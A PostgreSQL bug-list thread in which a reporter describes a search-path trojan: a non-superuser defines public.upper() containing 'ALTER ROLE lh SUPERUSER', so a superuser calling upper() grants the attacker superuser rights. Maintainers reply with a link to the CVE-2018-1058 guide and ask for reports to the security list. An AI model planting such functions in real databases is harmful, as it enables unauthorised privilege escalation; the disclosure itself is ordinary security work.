pg.ddx.io  pgsql-bugs@postgresql.org mailing list archive  
help / color / mirror / Atom feed
BUG #16448: Remote code execution vulnerability
3+ messages / 3 participants
[nested] [flat]

* BUG #16448: Remote code execution vulnerability
@ 2020-05-18 09:14  PG Bug reporting form <noreply@postgresql.org>
  0 siblings, 2 replies; 3+ messages in thread

From: PG Bug reporting form @ 2020-05-18 09:14 UTC (permalink / raw)
  To: pgsql-bugs@lists.postgresql.org; +Cc: abcxiaod@126.com

The following bug has been logged on the website:

Bug reference:      16448
Logged by:          yi Ding
Email address:      abcxiaod@126.com
PostgreSQL version: 10.12
Operating system:   linux
Description:        

A common user created a function in the public space and added some
malicious codes in the function, when other users with superuser rights call
this function, the malicious code will be executed , so as to achieve the
purpose of remote malicious code execution.

   First, Non-superuser lh defines a function named upper, which contains
the statement to modify user permissions.
SQL:
CREATE TABLE public.testlh AS SELECT ‘lh’::varchar AS contents;
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE lh SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
 
Second, Superuser pg01 will execute the above statement after calling the
upper function, whice will change user lh to a super user.



^ permalink  raw  reply  [nested|flat] 3+ messages in thread

* Re: BUG #16448: Remote code execution vulnerability
@ 2020-05-18 09:49  Heikki Linnakangas <hlinnaka@iki.fi>
  parent: PG Bug reporting form <noreply@postgresql.org>
  1 sibling, 0 replies; 3+ messages in thread

From: Heikki Linnakangas @ 2020-05-18 09:49 UTC (permalink / raw)
  To: abcxiaod@126.com, pgsql-bugs@lists.postgresql.org, PG Bug reporting form <noreply@postgresql.org>

On 18/05/2020 12:14, PG Bug reporting form wrote:
> The following bug has been logged on the website:
> 
> Bug reference:      16448
> Logged by:          yi Ding
> Email address:      abcxiaod@126.com
> PostgreSQL version: 10.12
> Operating system:   linux
> Description:
> 
> A common user created a function in the public space and added some
> malicious codes in the function, when other users with superuser rights call
> this function, the malicious code will be executed , so as to achieve the
> purpose of remote malicious code execution.
> 
>     First, Non-superuser lh defines a function named upper, which contains
> the statement to modify user permissions.
> SQL:
> CREATE TABLE public.testlh AS SELECT ‘lh’::varchar AS contents;
> CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
> ALTER ROLE lh SUPERUSER;
> SELECT pg_catalog.upper($1);
> $$ LANGUAGE SQL VOLATILE;
>   
> Second, Superuser pg01 will execute the above statement after calling the
> upper function, whice will change user lh to a super user.

See 
https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058%3A_Protect_Your_Search_Path

- Heikki





^ permalink  raw  reply  [nested|flat] 3+ messages in thread

* Re: BUG #16448: Remote code execution vulnerability
@ 2020-05-18 14:22  David G. Johnston <david.g.johnston@gmail.com>
  parent: PG Bug reporting form <noreply@postgresql.org>
  1 sibling, 0 replies; 3+ messages in thread

From: David G. Johnston @ 2020-05-18 14:22 UTC (permalink / raw)
  To: abcxiaod@126.com, PostgreSQL mailing lists <pgsql-bugs@lists.postgresql.org>

On Mon, May 18, 2020 at 2:41 AM PG Bug reporting form <
noreply@postgresql.org> wrote:

> The following bug has been logged on the website:
>
> Bug reference:      16448
> Logged by:          yi Ding
> Email address:      abcxiaod@126.com
> PostgreSQL version: 10.12
> Operating system:   linux
> Description:
>
> A common user created a function in the public space and added some
> malicious codes in the function, when other users with superuser rights
> call
> this function, the malicious code will be executed , so as to achieve the
> purpose of remote malicious code execution.
>

The project respectfully requests that security related concerns be
reported to the security list as opposed to the public bug report listing.

https://www.postgresql.org/support/

security@postgresql.org

David J.

^ permalink  raw  reply  [nested|flat] 3+ messages in thread


end of thread, other threads:[~2020-05-18 14:22 UTC | newest]

Thread overview: 3+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2020-05-18 09:14 BUG #16448: Remote code execution vulnerability PG Bug reporting form <noreply@postgresql.org>
2020-05-18 09:49 ` Heikki Linnakangas <hlinnaka@iki.fi>
2020-05-18 14:22 ` David G. Johnston <david.g.johnston@gmail.com>

This inbox is served by DDX for PostgreSQL; see mirroring instructions
for how to clone and mirror all data and code used for this inbox